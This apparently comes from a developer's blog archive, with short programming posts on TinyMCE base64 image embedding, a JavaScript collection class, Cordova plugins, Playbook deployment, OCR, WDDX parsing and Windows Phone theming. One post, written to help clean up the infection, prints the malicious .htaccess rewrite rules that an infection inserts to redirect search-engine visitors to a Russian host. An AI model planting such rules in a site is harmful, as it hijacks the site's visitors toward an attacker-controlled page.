Archive

Author Archive

Remove “Buy this book” from Google Book Embedded viewer

Categories: Uncategorized

TinySLUpload data:base64 format

Using the TinySLUpload plugin for TinyMCE is a great silverlight plugin that allows image uploading to any .NET based TinyMCE content management system.

As good as it is, I was looking for a way of embedding the image into the content, so that the image did not have to be hosted on the same server as the CMS system.  by using the “data:” URI format specifier for an image,

This is how an image can be represented as part of the HMTL thus:

<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUA
AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO
9TXL0Y4OHwAAAABJRU5ErkJggg==" alt="Red dot">

So, I modified the XAML of TinySLUpload to include an option to embed the image:

<CheckBox x:Name=”cbEmbedImage” IsChecked=”true” Content=”Embed Image”></CheckBox>

Then added code into UpdateShowProgress to handle the conversion from binary to base64


if (cbEmbedImage.IsChecked == true)
{
if (fileColl.Count > 1)
{
ShowError();
return;
}
var fs = fileColl[0].OpenRead();
int intLength = (int)fileColl[0].Length;
byte[] data = new byte[intLength];
fs.Read(data,0,intLength);
var embedded = “data:image/png;base64,” + Convert.ToBase64String(data);
HtmlPage.Window.Invoke(“PopulateFromSL”, embedded);
}
else
{
HtmlPage.Window.Invoke(“PopulateFromSL”, UploadConfig.ImagePath + _file.Name);
}

 

Handily, since PopulateFromSL still returns a valid image URI path, no other changes are required outside of the silverlight. Of course you still need to compile it to XAP and overwrite the TinySLUpload.xap in the TinyMce\ Plugins \ Advimage folder.

 

 

Categories: Uncategorized

Collection object in Javascript

Often, you’d want to extend the classical Javascript array, and use a collection type object instead. This is a generic collection class that I’ve written:

var Collection=function()
{
// Number of elements in collection
this.count=0;
// The underlying collection
this.collection={};

// Add item to the collection with a named key
this.addWithKey=function(key,item)
{
if(this.collection[key]!=undefined)
return undefined;
this.collection[key]=item;
return ++this.count
}

// Add item to the collection with a GUID key
this.add=function(item)
{
return this.addWithKey(newGuid(),item);
}

// Remove item from the collection by it’s key
this.remove=function(key)
{
if(this.collection[key]==undefined)
return undefined;
delete this.collection[key]
return –this.count
}

// Return one item as specied by key
this.item=function(key)
{
return this.collection[key];
}

// Apply a function on each element in the collection
this.forEach=function(block)
{
for (key in this.collection)
{
if(this.collection.hasOwnProperty(key))
{
block(this.collection[key],key);
}
}
}

// Internal method to generate a Guid
function newGuid() {
var S4 = function() {
return (((1+Math.random())*0x10000)|0).toString(16).substring(1);
};
return (S4()+S4()+”-“+S4()+”-“+S4()+”-“+S4()+”-“+S4()+S4()+S4());
}

// Saves the collection to localStorage
this.Save = function()
{
if (typeof JSON == “undefined”)
{
alert(“Include JSON2.js in order to save this collection”);
return;
}
if (typeof localStorage == “undefined”)
{
alert(“Browser does not support localStorage”);
return;
}
var strJson = JSON.stringify(this);
localStorage.setItem(‘collection’, strJson);
return strJson;
}

// Loads the collection from localStorage
this.Load = function()
{
if (typeof JSON == “undefined”)
{
alert(“Include JSON2.js in order to load this collection”);
return;
}
var strJson = localStorage.getItem(‘collection’);
if (strJson == null)
{
return false;
}
var loaded = JSON.parse(strJson);
this.count = loaded.count;
this.collection = loaded.collection;
return true;
}
return true;
}

Then typical usage would be:

<html>
<head>
<script language=”javascript” src=”collection.js”></script>
<script language=”javascript”>
function init()
{
var dt1 = new Date();
var dt2 = new Date(“October 13, 1975 11:13:00”);

var dates=new Collection();
dates.add(dt1);
dates.add(dt2);

var strHtml = “”;
dates.forEach(function(p,key){
strHtml += p + ” (” + key + “)<br>”;
});

var output = document.getElementById(“output”);
output.innerHTML = strHtml;
}
</script>
</head>
<body onload=”init()”>
<div id=”output”></div>
</body>
</html>

Categories: Uncategorized

Localstorage equivalent in Nokia WRT

Categories: Uncategorized

ChildBrowser plugin with Cordova 1.7.0

I wanted to use the ChildBrowser plugin with Cordova 1.7.0, so that I could capture url change events when a user navigated from page to page within an iPhone app. It took me about an hour to get working, and I’m not sure if I’d recommend the approach I used, but it here it is, warts and all.

1. Downloaded the ChildBrowser plugin from GitHub, (https://github.com/purplecabbage/phonegap-plugins/tree/master/iPhone/ChildBrowser) – added everything apart from the js file into the Plugins folder.

2. Added the ChildBrowser.js file into the www folder.

3. As per the screenshot below, I added * into the External Hosts, and ChildBrowserCommand into the Plugins dictionary in Cordova.plist

3. 

4. Now it gets hairy – When compiling, it said that CDVPlugin.h was not found, so I hacked this into the ChildBrowserCommand.h file:

#define CORDOVA_FRAMEWORK

#ifdef CORDOVA_FRAMEWORK

#import “CDVPlugin.h”

5. Using code examples online, I could not get ChildBrowser.install() to return anything but null, until I realized that simply including ChildBrowser.js, it was installing itself automatically.

6. Next problem was, that supposedly _onlocationchange(loc) was supposed to fire on new pages, but it wasn’t, so I decided to hack this into onChildLocationChange in ChildBrowserCommand.m

  //NSString* jsCallback = [NSString stringWithFormat:@”ChildBrowser._onLocationChange(‘%@’);”,encUrl];

NSString* jsCallback = [NSString stringWithFormat:@”myLocationChange(‘%@’);”,encUrl];

Then, instead of calling ChildBrowser._onLocationChange, it would call myLocationChange

And the final frankenstein-monstrosity (ugly, but working) in HTML was:

<!DOCTYPE html>

<html>

<head>

<meta name=”viewport” content=”width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no;” />

<meta charset=”utf-8″>

<script type=”text/javascript” charset=”utf-8″ src=”cordova-1.7.0.js”></script>

<script type=”text/javascript” charset=”utf-8″ src=”ChildBrowser.js”></script>

<script type=”text/javascript”>

function onBodyLoad()

{

document.addEventListener(“deviceready”, onDeviceReady, false);

}

function onDeviceReady()

{

window.plugins.childBrowser.showWebPage(“http://google.com&#8221;);

}

function myLocationChange(loc)

{

alert(“GOT URL:” + loc);

}

</script>

</head>

<body onload=”onBodyLoad()”>

Loading Google…

</body>

</html>

Once again, I’m not recommending this approach, but it worked for me.

Categories: Uncategorized

Fix: http://ca-no.ru/example/status.php Hack

If your website redirects to http://ca-no.ru/example/status.php when you access it via google, here is the fix:

Delete your .htaccess file, and replace it with this

<IfModule mod_rewrite.c>
RewriteEngine Off
</IfModule>

If you’re curious, this is what’s inserted into the .htaccess file, when the site is infected.

<IfModulemod_rewrite.c>
RewriteEngineOn
RewriteCond%{HTTP_REFERER}^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)
RewriteRule^(.*)$http://ca-no.ru/example/status.php[R=301,L]
RewriteCond%{HTTP_REFERER}^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)
RewriteRule^(.*)$http://ca-no.ru/example/status.php[R=301,L]
</IfModule>

Categories: Uncategorized

Load BAR file onto Playbook

To load a BAR file onto a playbook, you need to put it into development mode first, which is

  • Access Settings by swiping from the top on the home screen
  • Select Security
  • Select Development mode
  • Select User Development Mode “ON”
  • Set a password (in my case “pass”)
  • Note your IP address from About-> Network -> Wifi -> ipV4

If you don’t do this step, you get the error:

Error: Device is not in the Development Mode. Switch to Development Mode from Se
curity settings on the device.

 

Otherwise you see this:

C:\Program Files\Research In Motion\BlackBerry WebWorks SDK for TabletOS 2.2.0.5
\bbwp\blackberry-tablet-sdk\bin>blackberry-deploy.bat -installApp -password pass
-device 192.168.0.100 -package “C:\BBWP\SatNav\Build\SatNav.bar”
Info: Sending request: Install
Error: User authentication failed
Info: Sending request: Install
Info: Action: Install
Info: File size: 707501
Info: Installing …
Info: Processing 707501 bytes
Info: Progress 3%…
Info: Progress 100%…
actual_dname::SatNav92aabe52d50d9673fe56dd61f146177.gYABgCL3cXiEoxXlTshS6VdnHC0
actual_id::gYABgCL3cXiEoxXlTshS6VdnHC0
actual_version::1.0.0.0
result::success

 

 

 

Categories: Uncategorized

Convert an Image to text in C#

If you want to extract text from an image, then you can use a process called OCR.  If you create a new project in Visual Studio, then make a web service reference to http://free-ocr.co.uk/ocr.asmx called “ocr”

A limitation of this free service, is that the image must be at most 100 x 100 pixels

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using simpleOCR.ocr;

namespace simpleOCR
{
class Program
{
static void Main(string[] args)
{

var sFile = new FileStream(@”C:\hello.jpg”,FileMode.Open);
byte[] PhotoBytes = new byte[sFile.Length];
sFile.Read(PhotoBytes, 0, PhotoBytes.Length);
simpleOCR.ocr.ocr webservice = new simpleOCR.ocr.ocr();
Console.Out.Write(webservice.Analyze(“your email”, PhotoBytes));
Console.ReadLine();
}
}
}

Categories: Uncategorized

Parsing WDDX with a Regular Expression

WDDX is an XML Serialization format native to ColdFusion, and can be parsed in .NET using WDDX.NET (http://wddxnet.codeplex.com/)  – However, it is an extra assembly in your deployment, and sometimes, something more simple (but less correct) may be handy.

Take these two WDDX packets for example;

<wddxPacket version=’1.0′><header/><data><struct>
<var name=’NOMARP’><string>Madrid</string></var>
<var name=’TYPCLA’><string>TOUTES</string></var>
<var name=’DIRECT’><number>1.0</number></var>
<var name=’NOMCIE’><string>Iberia</string></var>
<var name=’DATDEP’><string>070912</string></var>
<var name=’TAXES’><number>53.0</number></var>
<var name=’CDEARP’><string>MAD</string></var>
<var name=’REDUC’><number>0.0</number></var>
<var name=’TOTALD’><number>109.0</number></var>
<var name=’IDPROP’><string>MDcwMTExMjM0OTJBUlVNQURBTENJQiBXMDMwOTMwMzE5UkVTQVhNTCAgIDEyMzQ5Mg==</string></var>
<var name=’REMMTE’><string>0</string></var>
<var name=’DATRET’><string>140912</string></var>
<var name=’CODCIE’><string>IB</string></var>
<var name=’REMMTA’><string>0</string></var>
<var name=’REMMTB’><string>0</string></var>
<var name=’TAXADT’><string>53.63</string></var>
<var name=’QBDOSS’><number>56.0</number></var>
<var name=’RECODE’><string></string></var>
<var name=’TAXBEB’><string>0</string></var>
<var name=’RELIBL’><string>-</string></var>
<var name=’TAXENF’><string>0</string></var>
<var name=’PRIXE’><number>0.0</number></var>
<var name=’REMSSE’><string></string></var>
<var name=’PRIXB’><number>0.0</number></var>
<var name=’NUMSEG’><number>2.0</number></var>
<var name=’REMSSB’><string></string></var>
<var name=’SEQPRO’><number>1.0</number></var>
<var name=’PRIXA’><number>56.0</number></var>
<var name=’REMSSA’><string></string></var>
<var name=’TYPRO’><string></string></var>
<var name=’MSGREM’><string>Nant</string></var>
<var name=’FLGCIE’><string>IB_small.gif</string></var></struct></data></wddxPacket>

<wddxPacket version=’1.0′><header/><data><recordset rowCount=’2′ fieldNames=’SEQPRO,IDSEG,SEQSEG,CODSEG,SEQVOL,DATDEP,HEUDEP,DATARR,HEUARR,VILDEP,VILARR,CIESEG,CIENOM,NUMVOL,DEPNOM,ARRNOM,TYPEQU,OPRCIE,NESCAL’ type=’coldfusion.sql.QueryTable’>
<field name=’SEQPRO’><string>1</string><string>1</string></field>
<field name=’IDSEG’><string>NahjbcJUNFNIRaadfeLZw</string><string>CbejbcJNIRUNFaadgbLZw</string></field>
<field name=’SEQSEG’><number>1.0</number><number>2.0</number></field>
<field name=’CODSEG’><string>A</string><string>R</string></field>
<field name=’SEQVOL’><number>1.0</number><number>2.0</number></field>
<field name=’DATDEP’><string>070912</string><string>140912</string></field>
<field name=’HEUDEP’><string>2255</string><string>2140</string></field>
<field name=’DATARR’><string>070912</string><string>140912</string></field>
<field name=’HEUARR’><string>2355</string><string>2240</string></field>
<field name=’VILDEP’><string>MAD</string><string>ALC</string></field>
<field name=’VILARR’><string>ALC</string><string>MAD</string></field>
<field name=’CIESEG’><string>IB</string><string>IB</string></field>
<field name=’CIENOM’><string>Iberia</string><string>Iberia</string></field>
<field name=’NUMVOL’><string>354</string><string>361</string></field>
<field name=’DEPNOM’><string>Madrid</string><string>Alicante</string></field>
<field name=’ARRNOM’><string>Alicante</string><string>Madrid</string></field>
<field name=’TYPEQU’><string>320</string><string>320</string></field>
<field name=’OPRCIE’><string>—</string><string>—</string></field>
<field name=’NESCAL’><string>0</string><string>0</string></field></recordset></data></wddxPacket>

So, for this format, I used the Regular expression:

const string strWddxRegex = @”name..(?<Name>\w+)..(.(string|number).(?<Value>[\w.=]*)..(string|number).)+”;

Which served the purpose!

Categories: Uncategorized

Content Validation 5.5.2 WP7

One of the most common reason for rejection for Windows Phone 7 (Wp7) apps, is support for dark and light themes.  Most developers work in the dark theme, then not realizing that the text can’t be read when the phone is switched to light theme. This is picked up by Microsoft Testers, and reported as a Content Violation 5.5.2

Requirements
Application content, such as text and visual
elements, must be visible and legible regardless of
the phone theme. For example, if the phone
theme changes from black background to white
background, the text and visual elements of your
application must be visible or legible.

Comments: STEPS TO REPRODUCE
1. Navigate to the Settings page in the app list.
2. Tap theme and change Background to ‘Light’.
3. Launch your application.
4. Verify that the text and visual elements of the application are visible and legible.
RESULT
The application UI text is not legible when viewed in the ‘Light’ theme.

 

Here, is a solution I have come up with for “Panorama” style apps, by creating two backgrounds, one mostly black, one mostly white, and then calling the following function on MainPage_Loaded

/// <summary>
/// Detect theme, and apply background accordingly
/// </summary>
private void DisplayState()
{
Color lightThemeBackground = Color.FromArgb(255, 255, 255, 255);
SolidColorBrush backgroundBrush =
Application.Current.Resources[“PhoneBackgroundBrush”] as SolidColorBrush;
// Assume dark theme
BitmapImage bitmapImage = new BitmapImage(new Uri(“PanoramaBackground.png”, UriKind.Relative));
if (backgroundBrush.Color == lightThemeBackground)
{
// you are in the light theme
bitmapImage = new BitmapImage(new Uri(“LightPanoramaBackground.png”, UriKind.Relative));
}
ImageBrush imageBrush = new ImageBrush();
imageBrush.ImageSource = bitmapImage;
this.panorama.Background = imageBrush;
}

 

Categories: Uncategorized